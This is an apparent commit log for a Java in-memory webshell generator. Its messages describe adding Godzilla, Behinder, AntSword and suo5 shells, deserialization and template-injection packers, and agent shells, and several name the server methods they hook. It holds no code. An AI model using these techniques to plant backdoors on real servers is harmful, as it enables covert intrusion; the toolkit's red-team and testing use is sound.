ReaJason 9bc73c8002 docs: update CHANGELOG 2025-02-25 00:39:24 +08:00
ReaJason 056cab6c19 docs: add Dockerfile build steps (resolved #44) 2025-02-25 00:31:08 +08:00
ReaJason a00871bcb2 ci: rm useless arg 2025-02-25 00:14:24 +08:00
ReaJason d623477107 build: build docker image with one Dockerfile (#44) 2025-02-25 00:14:11 +08:00
ReaJason a99f1e8a6d build: optimize copy html script 2025-02-25 00:12:38 +08:00
ReaJason e90efdc036 chore: update deps 2025-02-25 00:11:37 +08:00
ReaJason 85828f7975 fix: tomcat WebSocket shell not work (#25) 2025-02-25 00:11:16 +08:00
ReaJason 5b838adbe9 refactor: move class 2025-02-25 00:09:44 +08:00
ReaJason cc87efcddf test: fix failed cases 2025-02-23 18:11:49 +08:00
ReaJason 5f43eae694 chore: update gitignore 2025-02-23 16:58:28 +08:00
ReaJason bad9f2f786 build: support auto download toolchains 2025-02-23 16:53:01 +08:00
ReaJason a6ba2d0a3a docs: add local build command 2025-02-23 16:51:22 +08:00
ReaJason a861effd12 build(boot): Dockerfile support BOOT_OPTS env 2025-02-23 16:45:27 +08:00
ReaJason 7e84cab7bc refactor: supported unified test cases provider 2025-02-23 16:44:35 +08:00
ReaJason f1d797295c build(ui): support base_path 2025-02-23 02:33:09 +08:00
ReaJason 164d59c65a fix(ui): version show html when it failed 2025-02-23 02:33:09 +08:00
ReaJason 3274e8421d feat: support shell registry for all server 2025-02-23 02:33:09 +08:00
ReaJason 1980ae7072 refactor: simplify valve shell register 2025-02-23 02:33:09 +08:00
ReaJason 3438d07f6d chore: rm debug log 2025-02-23 02:33:09 +08:00
ReaJason ebb9b35a17 refactor: optimize import 2025-02-23 02:33:09 +08:00
ReaJason d64a8b9e6b test: rm log 2025-02-23 02:33:09 +08:00
ReaJason b35aafd77b refactor: move members 2025-02-23 02:33:09 +08:00
ReaJason 2dd794faf1 fix: undertow listener failed 2025-02-23 02:33:09 +08:00
ReaJason 4efc6a7562 refactor: rm useless code 2025-02-23 02:33:09 +08:00
ReaJason 258c42adc0 test: class import error 2025-02-23 02:33:09 +08:00
ReaJason 5084a0b850 refactor: simplify memshell generate map register 2025-02-23 02:33:09 +08:00
ReaJason f27b06fc0b ci: set-output command is deprecated 2025-02-23 02:33:09 +08:00
ReaJason 87ba8403db ci: optimize docker push order 2025-02-23 02:33:09 +08:00
ReaJason 185be332a5 ci: change scripts location 2025-02-23 02:33:09 +08:00
ReaJason ef6ca026f2 fix(ui): shell type not reset when server changed 2025-02-21 00:32:24 +08:00
ReaJason 064c73b4e7 ci: support jar file release 2025-02-21 00:16:48 +08:00
ReaJason 6cb42ed954 fix: remove log 2025-02-20 23:59:23 +08:00
ReaJason d92b052428 docs: update CHANGELOG 2025-02-20 23:53:26 +08:00
ReaJason 8c6a67dcc8 feat: add loading component 2025-02-20 23:52:02 +08:00
ReaJason 2db337d85c fix(ui): shell type not changed when server changed 2025-02-20 23:45:52 +08:00
ReaJason b1f963f1a3 test: change deserialize image name 2025-02-20 23:32:00 +08:00
ReaJason ac9c0ec171 docs: update 2025-02-20 23:19:07 +08:00
ReaJason e1f23f52c4 ci: not run test in tag push [skip ci] 2025-02-20 23:19:07 +08:00
ReaJason 0fe7a3d345 chore: remove redundant dep 2025-02-20 23:13:23 +08:00
ReaJason 53999f3e71 fix(ui): packResult not changed when regenerate 2025-02-20 22:28:34 +08:00
ReaJason 42faa786cb chore: gradle 8.12.1 2025-02-20 22:28:34 +08:00
ReaJason a964ada4df chore: rm socket dep 2025-02-20 22:28:34 +08:00
ReaJason f3ced55d8a feat: support hessian packer (#36) 2025-02-20 22:28:34 +08:00
ReaJason 4a7301c7f0 refactor: rename class 2025-02-20 22:04:00 +08:00
ReaJason 75b32773a4 chore: upgrade testcontainers and junit 2025-02-20 21:56:42 +08:00
ReaJason d482707465 docs: update CHANGELOG 2025-02-19 22:21:17 +08:00
ReaJason bad3815107 test: deserialize test container startup failed 2025-02-19 22:21:17 +08:00
ReaJason bfae5e10d3 feat: enhance responsive layout and improve i18n support (#39) 2025-02-19 22:21:17 +08:00
ReaJason 328fee0286 fix: cb110 serializeVersionUID change failed 2025-02-19 22:21:17 +08:00
ReaJason 41d2ea5c6d test: add CB4 multi version gadgets integration test 2025-02-19 22:21:17 +08:00
ReaJason 7d567beba9 test: use annotation to simplify register servlet 2025-02-19 22:21:17 +08:00
ReaJason 8bb3158fe6 ci: skip png file push 2025-02-19 00:30:01 +08:00
ReaJason fd914c014a docs: update screenshots 2025-02-19 00:25:31 +08:00
ReaJason 8299a23ba0 docs: update CHANGELOG 2025-02-19 00:10:04 +08:00
ReaJason 6ca61098df docs: add changelog 2025-02-19 00:04:29 +08:00
ReaJason 6810bea753 fix: keyword is not allowed for classname 2025-02-19 00:04:29 +08:00
ReaJason e10915784c test: rm failed case 2025-02-19 00:04:29 +08:00
ReaJason 2f256fc97e feat: support AntSword shell generate (#34) 2025-02-19 00:04:29 +08:00
ReaJason f38b72fb5f feat: support cb4 other version payload packers 2025-02-19 00:04:29 +08:00
ReaJason 243dd20531 docs: fix typo 2025-02-17 22:39:09 +08:00
ReaJason 6a38aee2d9 docs: change notes location 2025-02-16 00:08:15 +08:00
ReaJason 9c53c599a3 docs: update badges 2025-02-15 23:45:43 +08:00
ReaJason b585c5ff0b docs: update README 2025-02-15 23:31:52 +08:00
ReaJason 10147b5cd2 fix: optimize form fields reset 2025-02-15 14:12:26 +08:00
ReaJason 368730bfd2 docs: update CHANGELOG 2025-02-15 13:50:04 +08:00
ReaJason d02a2c245a docs: update README 2025-02-15 13:50:04 +08:00
ReaJason 7c1995fabd ci: test not run in other branck 2025-02-15 13:50:04 +08:00
ReaJason f961b2aafa build: version not work in IDEA 2025-02-15 13:50:04 +08:00
ReaJason 3f6821181c chore: upgrade to Tailwind CSS v4 2025-02-15 13:50:04 +08:00
ReaJason abfa1af36d fix: sonner theme not work 2025-02-15 13:50:04 +08:00
ReaJason 0bd7da4ffa feat(ui): support suo5 generate 2025-02-15 13:50:04 +08:00
ReaJason 142a9e2c47 feat: support other middleware suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason 98f44cad3b feat: support tomcat suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason ce0159d8f4 docs: update README 2025-02-03 01:46:07 +08:00
ReaJason dec415cdc1 ci: parse changelog failed 2025-02-03 01:24:13 +08:00
ReaJason b1f30ffeea ci: release body is empty 2025-02-03 01:10:28 +08:00
ReaJason ba7f86b92f build: boot docker build error 2025-02-03 00:47:12 +08:00
ReaJason 35382695e0 ci: add needs 2025-02-03 00:35:51 +08:00
ReaJason 4f0671dbe0 ci: do not run test in release ci 2025-02-03 00:35:34 +08:00
ReaJason 1db9cf2bc0 docs: add v1.0.0 changelog 2025-02-03 00:26:50 +08:00
ReaJason 44fa46fbc1 ci: add release ci 2025-02-03 00:26:35 +08:00
ReaJason 65bef5ffb6 feat: add version badge in ui 2025-02-03 00:25:45 +08:00
ReaJason 9ea8dad68b ci: rm coverage 2025-02-02 22:22:40 +08:00
ReaJason a446da4bb7 chore: unify project version 2025-02-02 22:20:47 +08:00
ReaJason 5b9b890fc8 ci: auto deploy [skip ci] 2025-02-02 17:40:44 +08:00
ReaJason 164a27bafd ci: image name error [skip ci] 2025-02-02 15:28:45 +08:00
ReaJason 1bd24e9b01 ci: syntax error [skip ci] 2025-02-02 15:22:16 +08:00
ReaJason 2f9e587e73 ci: fetch depth 0 [skip ci] 2025-02-02 15:18:21 +08:00
ReaJason 9093c2c7be ci: add GitHub container docker push 2025-02-02 15:18:05 +08:00
ReaJason 2440a2fb2e refactor: rename packer 2025-01-30 20:49:56 +08:00
ReaJason b9c05453ef feat: support bsh packer 2025-01-30 18:09:44 +08:00
ReaJason 1f94ca41f6 feat: support rhino and jinjava packer 2025-01-30 17:24:14 +08:00
ReaJason dad1f83365 ci: update badge 2025-01-29 14:19:20 +00:00
ReaJason c808a52d4e feat: support more expression packer 2025-01-29 22:05:25 +08:00
ReaJason 410ee1eff7 refactor: simplify expression packer 2025-01-29 19:58:02 +08:00
ReaJason 6fcf159d1f feat: support mvel packer 2025-01-29 19:54:17 +08:00
ReaJason ee400fa5d2 docs: update screenshots 2025-01-29 11:39:36 +08:00
ReaJason 9b87180075 fix: build error 2025-01-27 17:42:05 +08:00
ReaJason d6ceb1b422 ci: update badge 2025-01-27 09:24:30 +00:00
ReaJason 0d2f6a26b7 test: build error 2025-01-27 17:07:18 +08:00
ReaJason ebfa661b66 feat: support multi payload generate 2025-01-27 17:02:32 +08:00
ReaJason 4a505d928f refactor: shell mount type ordered 2025-01-27 16:24:27 +08:00
ReaJason 55dffd2562 ci: update badge 2025-01-25 12:47:36 +00:00
ReaJason 988d751129 refactor: use platform to manage dependency
1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
2025-01-25 20:30:08 +08:00
ReaJason ecbde7dbae ci: update badge 2025-01-23 00:34:16 +00:00
ReaJason ee118bd139 refactor: simplify XXLJOB packer 2025-01-23 08:25:44 +08:00
ReaJason 706f5ad37d ci: update badge 2025-01-22 11:03:35 +00:00
ReaJason 8a3cd76b25 test: resin and jetty failed 2025-01-22 18:50:25 +08:00
ReaJason f9eb9dafa4 feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
2025-01-22 18:36:19 +08:00
ReaJason 08ffa47531 feat: support jar packer 2025-01-22 18:29:42 +08:00
ReaJason 51cda2b2ba feat: support GZIPBase64 packer 2025-01-22 18:29:42 +08:00
ReaJason aff74ad27e fix: build error 2025-01-20 00:39:14 +08:00
ReaJason 9154b1b46c feat: support i18n [skip ci] 2025-01-20 00:34:10 +08:00
ReaJason f78c83d901 docs: update README 2025-01-18 20:25:54 +08:00
ReaJason 86032a7131 ci: update badge 2025-01-18 12:24:05 +00:00
ReaJason 406d49b36e test: npe 2025-01-18 20:14:47 +08:00
ReaJason a3f835bc84 docs: update screenshots 2025-01-18 20:00:40 +08:00
ReaJason 88a26e9ba0 refactor: enhance web ux 2025-01-18 20:00:24 +08:00
ReaJason 70eef7faee fix: tomcat filter shell not work
tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work
2025-01-18 19:54:04 +08:00
ReaJason 216b967463 refactor: rename webflux 2025-01-18 18:28:46 +08:00
ReaJason 8c04e60c11 refactor: rename springwebmvc 2025-01-18 18:28:46 +08:00
ReaJason ee6490cf34 feat: support springwebmvc agent shell
1. hook point is org.springframework.web.servlet.FrameworkServlet.service
2025-01-18 18:28:46 +08:00
ReaJason 06b952b0ab ci: update badge 2025-01-09 17:37:27 +00:00
ReaJason 3af7716dfe Revert "fix: GlassFish war deploy failed"
This reverts commit 974cf3ccaa.
2025-01-10 01:28:08 +08:00
ReaJason fc386c60e6 docs: update README 2025-01-10 01:15:49 +08:00
ReaJason c622b1f4a8 feat: support JBossAS contextValve agent shell 2025-01-10 01:15:40 +08:00
ReaJason e6fb68b0e7 feat: suport bes agent shell 2025-01-10 01:07:34 +08:00
ReaJason b0c31ff7fd feat: support TongWeb agent shell 2025-01-10 00:56:58 +08:00
ReaJason 974cf3ccaa fix: GlassFish war deploy failed 2025-01-10 00:56:26 +08:00
ReaJason e1f4921a2e feat: support inforsuite agent shell 2025-01-10 00:56:26 +08:00
ReaJason 14a7a9bac6 feat: support GlassFish agent shell (#23)
1. hook point1 is org.apache.catalina.core.ApplicationFilterChain.doFilter
2. hook point2 is org.apache.catalina.core.StandardContextValve.invoke
3. GlassFish use osgi module, cipher class not in web-core, so that should use ContextClassLoader (resolved #23)
2025-01-10 00:56:26 +08:00
ReaJason 1cd05fd89f feat: support tomcat context valve agent shell 2025-01-10 00:56:26 +08:00
ReaJason 1efbdfff6f ci: update badge 2025-01-08 17:15:41 +00:00
ReaJason c5b50ddf73 docs: update README 2025-01-09 01:06:33 +08:00
ReaJason 5afa5da5f3 feat: support jetty agent shell (#19)
1. hook point is org.eclipse.jetty.servlet.ServletHandler.doHandle
2. it doesn't support jetty6, org.mortbay.jetty.servlet.ServletHandler#handle, because ldc visit cannot support java1.4
2025-01-09 01:04:31 +08:00
ReaJason 1f272e1dc9 docs: update README 2025-01-08 00:03:05 +08:00
ReaJason 7aeeb6d6db ci: update badge 2025-01-07 15:39:06 +00:00
ReaJason 09ee91fd34 feat: support undertow agent shell (#21)
1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21
2. fix godzilla payload error in some module system that cost my five hour to debug
2025-01-07 23:26:59 +08:00
ReaJason eb05735dda ci: update badge 2025-01-07 13:27:17 +00:00
ReaJason 6e8a1f7965 ci: was7 failed 2025-01-07 21:18:32 +08:00
ReaJason cf8b2793bf test: unit test npe 2025-01-07 20:44:05 +08:00
ReaJason d6570007cc feat: support resin agnet shell(#20)
hook point is com.caucho.server.dispatch.FilterFilterChain.doFilter (resolved #20)
2025-01-07 20:28:51 +08:00
ReaJason 37733e0b98 feat: support jbossas agent shell 2025-01-07 10:02:51 +08:00
ReaJason 9ce0e182ba test: add nettyHandler test 2025-01-07 10:02:51 +08:00
ReaJason 4b391955e4 feat: use ldc and reflection (#26)
1. remove servlet-api dependency
2. remove class reference (resolved #26), but it doesn't work for java4
2025-01-07 10:02:51 +08:00
ReaJason 507061a258 fix: change weblogic agent hook 2025-01-07 10:02:51 +08:00
ReaJason ff40e5c3fb fix: was7 agent shell fail sometime 2025-01-07 10:02:51 +08:00
ReaJason 72b4effa35 ci: update badge 2025-01-05 07:54:03 +00:00
ReaJason 0f47ce3d0a docs: update CONTRIBUTING 2025-01-05 15:44:57 +08:00
ReaJason 475fca0221 feat: support webflux netty shell (#8) 2025-01-05 15:44:43 +08:00
ReaJason 0b2eea91ab test: add websphere7 integration test (resolved #16) 2025-01-04 23:24:11 +08:00
ReaJason 90f848d4f7 docs: update README 2025-01-04 11:26:41 +08:00
ReaJason 768fc76ac6 ci: update badge 2025-01-04 03:24:26 +00:00
ReaJason 3d9534a402 ci: websphere agent test failed 2025-01-04 11:18:03 +08:00
ReaJason 514cc4ff30 fix: build error 2025-01-04 10:51:45 +08:00
ReaJason 7778ec3f5e ci: only support manually push 2025-01-04 10:48:57 +08:00
ReaJason 6026eb9165 feat: support was and weblogic agent shell 2025-01-03 22:05:54 +08:00
ReaJason 550ea678e5 feat: tomcat agent support jdk6 2025-01-03 02:16:51 +08:00
ReaJason ceacef5cf3 ci: update badge 2025-01-02 17:32:12 +00:00
ReaJason 061b51b9b1 fix: boot jar dependencies copy error 2025-01-03 01:25:45 +08:00
ReaJason 1c3948d9a9 ci: update badge 2025-01-02 16:50:43 +00:00
ReaJason a8728a6e33 fix: spring shell generate error 2025-01-03 00:43:03 +08:00
ReaJason dd5b7c0366 feat: support tomcat agent shell (resolved #12) 2025-01-03 00:25:56 +08:00
ReaJason 7e3bd95a2c style(ui): unify font size 2024-12-31 12:07:56 +08:00
ReaJason 692d16f9a4 fix: copyToClipboard button not work 2024-12-31 11:41:08 +08:00
ReaJason 8f7884ce48 ci: add unit test for boot 2024-12-31 01:21:21 +08:00
ReaJason fb421e48ee fix: boot run failed 2024-12-30 23:20:16 +08:00
ReaJason 8e8b344bdd docs: update 2024-12-28 01:11:23 +08:00
ReaJason e99f2e13b4 docs: update README 2024-12-28 01:03:23 +08:00
ReaJason 50228c854d ci: update badge 2024-12-27 16:58:31 +00:00
ReaJason c0231c7fc4 refactor: simplify code 2024-12-28 00:52:28 +08:00
ReaJason 8784c7556e feat: support apusic shell generate (#10) 2024-12-27 20:39:09 +08:00
ReaJason c1d22394de docs: update screenshot [skip ci] 2024-12-27 01:02:02 +08:00
ReaJason 30a71006b1 docs: update README 2024-12-27 00:57:59 +08:00
ReaJason 883a9d29ef docs: update README 2024-12-27 00:45:54 +08:00
ReaJason 4702806117 ci: update badge 2024-12-26 15:52:46 +00:00
ReaJason da182a8df5 feat: support tongweb shell generate (resolved #11) 2024-12-26 23:45:58 +08:00
ReaJason ab0b6131f0 perf: support bes symbol name 2024-12-26 21:54:18 +08:00
ReaJason 526d610ecc refactor: rename [skip ci] 2024-12-26 21:46:21 +08:00
ReaJason 6c42417adf ci: update badge 2024-12-26 13:40:42 +00:00
ReaJason b995f301ab fix: glassfish7 listener failed 2024-12-26 21:34:26 +08:00
ReaJason 381ddcb5d6 docs: update README 2024-12-26 21:19:51 +08:00
ReaJason d761b6f1fb feat: support bes shell generate (#9) 2024-12-26 21:19:51 +08:00
ReaJason 73d2f80658 refactor: simplify code 2024-12-26 21:19:51 +08:00
ReaJason 2aa8a1e0b1 docs: update issue templates [skip ci] 2024-12-26 01:12:03 +08:00
ReaJason 4eea7b2347 ci: update badge 2024-12-25 17:05:07 +00:00
ReaJason 013745b77c feat: support spring webflux shell generate (resolved #6) 2024-12-26 00:59:24 +08:00
ReaJason 4e53d03d26 ci: support manually run build ci [skip ci] 2024-12-24 22:55:02 +08:00
ReaJason 0de59c8211 docs: update README 2024-12-24 22:50:10 +08:00
ReaJason d8285923ca feat: add copy button for className 2024-12-24 22:50:10 +08:00
ReaJason 3b9d6b2daa chore(web): upgrade dependencies 2024-12-24 22:50:10 +08:00
ReaJason 4caaf3a21f ci: update badge 2024-12-24 13:32:37 +00:00
ReaJason d9dc9af29a test: change vul war location 2024-12-24 21:26:39 +08:00
ReaJason ba2b74af66 feat: support weblogic servlet (resolved #5) 2024-12-24 21:09:49 +08:00
ReaJason 89472ceee1 docs: update README 2024-12-24 02:40:31 +08:00
ReaJason 78168c1b56 ci: update badge 2024-12-23 18:37:18 +00:00
ReaJason 5ef8a40160 ci: add weblogic test 2024-12-24 02:30:14 +08:00
ReaJason 9bd893f087 feat: support inforsuite shell generate 2024-12-24 02:26:30 +08:00
ReaJason b0e2e7469f feat: support weblogic filter listener (#5) 2024-12-24 02:09:39 +08:00
ReaJason b340b53357 refactor: rename class 2024-12-24 00:15:12 +08:00
ReaJason 1a4d57c58d fix: behinder response wrapper 2024-12-22 20:49:56 +08:00
ReaJason 72f1d7fa48 docs: update README 2024-12-22 18:15:08 +08:00
ReaJason 2d60b1e175 ci: update badge 2024-12-22 10:04:25 +00:00
ReaJason 527d3ebaed fix: boot-ui not behinder select option 2024-12-22 17:58:49 +08:00
ReaJason 14b9bcc00c feat: boot-ui support behinder 2024-12-22 17:37:21 +08:00
ReaJason 29e9d2b32a ci: update badge 2024-12-22 08:58:01 +00:00
ReaJason bdefe3928c fix: behinder outputStream methodNotFound 2024-12-22 16:51:24 +08:00
ReaJason 61b31f730f test: vul file not found 2024-12-22 16:41:36 +08:00
ReaJason 77e5371fa8 feat: support springmvc shell generate 2024-12-22 16:29:02 +08:00
ReaJason 91181ffc55 refactor: change vul modules structure 2024-12-22 10:42:48 +08:00
ReaJason 0fea777294 docs: update README 2024-12-22 01:35:24 +08:00
ReaJason b22f73c61f docs: update README [skip ci] 2024-12-22 01:23:17 +08:00
ReaJason b374f3b384 chore: upgrade gradle 8.12 2024-12-22 01:23:03 +08:00
ReaJason 3f1ea88854 ci: update badge 2024-12-21 16:20:43 +00:00
ReaJason 277020145a test: skip jboss4 behinder test (it does'n work) 2024-12-22 00:15:27 +08:00
ReaJason 01fd2ecb80 feat: support behinder shell generate 2024-12-22 00:05:01 +08:00
ReaJason 100b4e5d9b ci: update badge 2024-12-21 12:59:02 +00:00
ReaJason 3f00189f8e test: speedup glassfish4 container 2024-12-21 20:53:21 +08:00
ReaJason debbbd5305 feat: support websphere shell generate (#2) 2024-12-21 19:54:31 +08:00
ReaJason 2e08e5fd22 ci: update badge 2024-12-21 07:20:57 +00:00
ReaJason 4caeca44f8 feat: support resin servlet (#2) 2024-12-21 14:51:12 +08:00
ReaJason 6bba432491 ci: update badge 2024-12-21 06:19:16 +00:00
ReaJason fcaf0cae6b feat: support undertow servlet (#2) 2024-12-21 14:13:49 +08:00
ReaJason 524b65b25b ci: update badge 2024-12-20 17:30:55 +00:00
ReaJason 7ae2d76b19 test: glassfish4 use jdk8 2024-12-21 01:25:58 +08:00
ReaJason 10c8214631 ci: glassfish 3 and 4 not stable 2024-12-21 00:43:13 +08:00
ReaJason aa7ecb1587 feat: support jetty servlet (#2) 2024-12-21 00:42:53 +08:00
ReaJason 0e5b8efdeb fix: jetty filter isInjected not work 2024-12-21 00:42:10 +08:00
ReaJason 87f2bd2840 ci: build workflow should behind test 2024-12-20 23:39:48 +08:00
ReaJason cfb64ba91a test: jboss7+ not deserialize failed 2024-12-20 23:39:29 +08:00
ReaJason 14212c1344 test: unit test symbol not found 2024-12-20 23:31:36 +08:00
ReaJason a7522b4982 feat: support tomcat websocket shell 2024-12-20 23:28:30 +08:00
ReaJason 93e10425cd refactor: unify code style 2024-12-20 23:26:13 +08:00
ReaJason 635e55350d docs: update README 2024-12-20 02:34:05 +08:00
ReaJason b14d43ce70 ci: bun run failed 2024-12-20 02:33:37 +08:00
ReaJason 4df3c2c7b9 ci: boot build failed 2024-12-20 01:38:13 +08:00
ReaJason 631fd76879 ci: update badge 2024-12-19 17:38:04 +00:00
ReaJason ab1e1d124f fix: file name error 2024-12-20 01:32:11 +08:00
ReaJason 75f99f281b ci: build failed 2024-12-20 01:24:31 +08:00
ReaJason 3b0aeaa294 feat: support boot-ui 2024-12-20 01:15:12 +08:00
ReaJason da4a5b234d feat: support tomcat11-jre21 2024-12-20 01:09:34 +08:00
ReaJason d57fece0ca docs: add TG group 2024-12-16 23:38:13 +08:00
ReaJason a63a33d5dd docs: add CONTRIBUTE.md [skip ci] 2024-12-15 20:14:06 +08:00
ReaJason caf1cb4fb2 ci: run all integration-test as posible 2024-12-15 20:13:10 +08:00
ReaJasonandReaJason 0972d714d7 feat: add tomcat servlet shell (#2) (#3)
* feat: support tomcat servlet shell

* test: glassfish 3 and 4 not work

* ci: update badge

---------

Co-authored-by: ReaJason <[email protected]>
2024-12-15 16:02:22 +08:00
ReaJason 58045d0bb3 ci: cancel if new push 2024-12-15 09:53:20 +08:00
ReaJason dc7c3dc0ac refactor: code format 2024-12-15 09:52:09 +08:00
ReaJason 40b1e0a7b5 Update issue templates [skip ci] 2024-12-15 01:26:30 +08:00
ReaJason 1bdb2a581c ci: update badge 2024-12-14 17:17:50 +00:00
ReaJason 9173695ab9 test: glassfish 3 and 4 not work 2024-12-15 01:12:20 +08:00
ReaJason eba4381256 feat: support payara shell generate 2024-12-15 01:03:00 +08:00
ReaJason 3dcf0c2b56 ci: update badge 2024-12-14 13:53:00 +00:00
ReaJason ab764cbdd0 test: glassfish3 not started 2024-12-14 21:47:22 +08:00
ReaJason 895c3cbc4b test: glassfish4 not started 2024-12-14 21:41:17 +08:00
ReaJason a4e3e4f697 fix: jboss6 scan overflow with spring 2024-12-14 21:32:57 +08:00
ReaJason 28a34cbf89 fix: tomcat6 jsp LinkageError 2024-12-14 20:40:18 +08:00
ReaJason 63207195a2 ci: add resin test 2024-12-14 20:05:21 +08:00
ReaJason 8a83ba1bf6 fix: unit test error 2024-12-14 20:04:49 +08:00
ReaJason b52f44bc6a fix: compile error 2024-12-14 19:54:39 +08:00
ReaJason 7ce0bf6446 fix: jetty11 jsp not work 2024-12-14 19:52:15 +08:00
ReaJason 51342c36ad refactor: deserialize 2024-12-14 19:34:06 +08:00
ReaJason 8a709a1f23 feat: support resin shell generate 2024-12-14 19:33:19 +08:00
ReaJason 6a5858ab2f feat: support ssti and expression packer 2024-12-14 19:28:13 +08:00
ReaJason 1987142a48 fix: jsp execute fail in module system 2024-12-14 16:56:53 +08:00
ReaJason 800932118e fix: byPassModule not work 2024-12-14 16:26:03 +08:00
ReaJason acfa63c83b ci: update badge 2024-12-12 18:46:39 +00:00
ReaJason e1d851bcba fix: glassfish container not run in expected 2024-12-13 02:41:41 +08:00
ReaJason d9a7bacde3 fix: glassfish upload error 2024-12-13 02:30:27 +08:00
ReaJason f2a8bfe299 fix: unsupported server 2024-12-13 02:15:44 +08:00
ReaJason 9587d916bc test: rm jetty jsp upload test 2024-12-13 02:10:49 +08:00
ReaJason becead8b71 ci: add glassfish test 2024-12-13 01:42:42 +08:00
ReaJason 149ce07dab feat: support glassfish shell generate 2024-12-13 01:39:24 +08:00
ReaJason 9c4f48895a feat: logRemover support Logger.info and warning 2024-12-13 00:37:27 +08:00
ReaJason 88e09ddbc1 ci: update badge 2024-12-10 18:03:38 +00:00
ReaJason f1bb363c37 fix: server not supported 2024-12-11 01:56:30 +08:00
ReaJason 3b4a35396d ci: integration print log 2024-12-11 01:55:14 +08:00
ReaJason 9374696515 ci: add wildfly 2024-12-11 01:47:32 +08:00
ReaJason 1712608b0b style: code format 2024-12-11 01:35:41 +08:00
ReaJason c30a00146d feat: support jboss and undertow 2024-12-11 01:31:20 +08:00
ReaJason af781e80a9 ci: update badge 2024-12-10 13:11:57 +00:00
ReaJason 5e0b47956d feat: support deserialize packer (but only CB4) 2024-12-10 21:07:41 +08:00
ReaJason 60345851f5 fix: jetty 10 and 11 filter add first failed 2024-12-10 21:05:52 +08:00
ReaJason d6101434ce ci: dependency error 2024-12-09 23:32:07 +08:00
ReaJason 3db5f3743a ci: jacoco execution data not found 2024-12-09 23:30:34 +08:00
ReaJason 57a1f97963 ci: coverage run failed 2024-12-09 23:06:03 +08:00
ReaJason feb4dbe39a ci: separate unit test and integration test 2024-12-09 22:33:34 +08:00
ReaJason 5594e33ce9 fix: jetty ScriptEngine not work 2024-12-09 21:06:23 +08:00
ReaJason 1e93e289c8 test: add jetty ScriptEngine test 2024-12-09 21:05:50 +08:00
ReaJason 77de947722 ci: update badge 2024-12-09 12:32:26 +00:00
ReaJason 58fe9cf387 test: compile error 2024-12-09 20:29:17 +08:00
ReaJason 76f3ed4695 feat: support debug mode 2024-12-09 20:24:58 +08:00
ReaJason e28ddf9972 fix: tomcat5 valve not work 2024-12-09 01:27:08 +08:00
ReaJason 12519d4a0f ci: update badge 2024-12-08 15:29:18 +00:00
ReaJason 742b63890a test: add tomcat5 container 2024-12-08 23:26:32 +08:00
ReaJason e058f00691 ci: update badge 2024-12-08 09:03:10 +00:00
ReaJason 7d255a6b5e ci: add paths-ignore 2024-12-08 17:00:03 +08:00
ReaJason f7fc98b388 feat: add boot and webui 2024-12-08 16:59:18 +08:00
ReaJason 146f67c653 refactor: extract super class 2024-12-08 16:51:50 +08:00
ReaJason fe3a77774b ci: update badge 2024-12-07 12:20:50 +00:00
ReaJason c9cd7c1eed feat: support jetty shell generate 2024-12-07 20:17:40 +08:00
ReaJason cde67580a9 refactor: simplify ByPassJdkModuleInterceptor 2024-12-07 11:06:45 +08:00
ReaJason ce2d3da47b ci: update badge 2024-12-06 18:17:48 +00:00
ReaJason 1639ea1e93 test: container not auto start 2024-12-07 02:15:15 +08:00
ReaJason a0a79a68f7 refactor: separate generate config 2024-12-07 01:49:12 +08:00
ReaJason 3af6c3fa8f build: upgrade project JDK 8 to 17 2024-12-05 22:42:02 +08:00
ReaJason cb501e07f6 docs: unify badge style 2024-12-05 22:40:49 +08:00
ReaJason a9ded0670e test: use method parameters 2024-12-05 22:40:01 +08:00
ReaJason 3a2e0392da ci: update badge 2024-12-04 15:21:08 +00:00
ReaJason f4f0d5608c fix: godzilla listener check error 2024-12-04 23:19:00 +08:00
ReaJason b5a91fa4e6 ci: update badge 2024-12-04 14:43:21 +00:00
ReaJason b955ecd416 refactor: simplify code 2024-12-04 22:40:58 +08:00
ReaJason 26d07f522e test: speedup integration test use sharedContainer
refer: https://java.testcontainers.org/test_framework_integration/junit_5/#shared-containers
2024-12-04 21:53:52 +08:00
ReaJason 9a843b7613 test: fix totalCount calc error 2024-12-04 21:52:07 +08:00
ReaJason d926832a21 fix: same classname inject just once 2024-12-04 21:51:21 +08:00
ReaJason a29bfbf7ba ci: update badge 2024-12-03 19:18:05 +00:00
ReaJason 61f215d10c test: add more docker compose file 2024-12-04 03:14:08 +08:00
ReaJason d247f63f88 fix: tomcat9+ filter not work 2024-12-04 03:14:08 +08:00
ReaJason 4162197169 fix: tomcat6 and 7 listener not work 2024-12-04 03:14:08 +08:00
ReaJason 9864c3da32 feat: support JDK8 ScriptEngine packer 2024-12-04 03:14:08 +08:00
ReaJason bddeb4fbaf test: fix case name error 2024-12-04 03:14:08 +08:00
ReaJason d6b0813584 ci: update badge 2024-12-03 13:31:04 +00:00
ReaJason 96675c28b1 ci: fix badge not generate 2024-12-03 21:27:49 +08:00
ReaJason 411fb39d91 test: enhance integration report 2024-12-03 21:19:21 +08:00
ReaJason 33b1ac28bc docs: update README 2024-12-02 02:09:22 +08:00
ReaJason 8b8a44503e test: first show failed cases 2024-12-02 02:08:57 +08:00
ReaJason f6d0e273fe ci: update badge 2024-12-01 17:14:27 +00:00
ReaJason 746353b5c9 Merge branch 'master' of github.com:ReaJason/MemShellParty 2024-12-02 01:11:07 +08:00
ReaJason e2340ff2d1 test: support integration test summary 2024-12-02 01:10:51 +08:00
ReaJason 7b9beeb8bb fix: command shell use paramName 2024-12-02 01:08:22 +08:00
ReaJason 2d6f523075 test: add tomcat6-jdk6 integration-test 2024-11-29 18:05:28 +08:00
ReaJason 645ffbf51f docs: add javadoc 2024-11-29 18:04:57 +08:00
ReaJason 7e86b19e04 docs: add ByPassJdkModule extend java doc 2024-11-29 02:46:50 +08:00
ReaJason 454b48a1fa ci: update badge 2024-11-28 18:13:54 +00:00
ReaJason 3b91197446 ci: merge jacoco failed 2024-11-29 02:11:22 +08:00
ReaJason 53a982fd54 test: fix error 2024-11-29 02:06:24 +08:00
ReaJason aabb678dd3 fix: typo 2024-11-29 02:02:26 +08:00
ReaJason b6ce6581a0 feat: support bypassJdkModule and Jakarta 2024-11-29 02:02:04 +08:00
ReaJason d0dcc8d56f ci: update badge 2024-11-26 17:18:23 +00:00
